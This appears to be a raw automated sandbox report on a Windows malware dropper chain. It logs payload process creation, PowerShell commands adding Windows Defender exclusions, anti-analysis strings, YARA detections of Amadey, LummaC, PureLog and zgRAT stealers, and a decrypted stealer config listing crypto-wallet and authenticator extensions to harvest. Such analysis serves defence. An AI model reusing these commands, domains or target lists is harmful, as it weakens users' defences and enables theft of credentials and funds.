Source: f3c1a61157.exe, 0000000A.00000002.3061491355.000000000314A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bellflamre.click
Source: e0c841723d.exe, 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe "C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe "C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe "C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe "C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe "C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe "C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Process created: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe "C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Process created: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe "C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu"
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

Source: cf4412d54a.exe, 00000009.00000002.3286974905.0000000000FE3000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: gProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0027DD91 cpuid

6_2_0027DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0002CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0002CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_002A2517 GetTimeZoneInformation,

6_2_002A2517

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: 915c60055b.exe, 00000008.00000002.3039038639.000000000122A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2077576226.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2078633722.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2047714136.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2684132503.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: e0c841723d.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 7.0.915c60055b.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.915c60055b.exe.3ee94e0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.915c60055b.exe.3ea3198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.915c60055b.exe.3ee94e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED

Yara detected zgRAT

Source: Yara match

File source: 7.2.915c60055b.exe.3ea3198.1.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 915c60055b.exe, 00000008.00000002.3039038639.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 915c60055b.exe, 00000008.00000002.3039038639.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 915c60055b.exe, 00000008.00000002.3039038639.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: e0c841723d.exe, 0000000D.00000002.3288177248.0000000003B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: 915c60055b.exe, 00000008.00000002.3039808313.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%
Source: 915c60055b.exe, 00000008.00000002.3039808313.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic 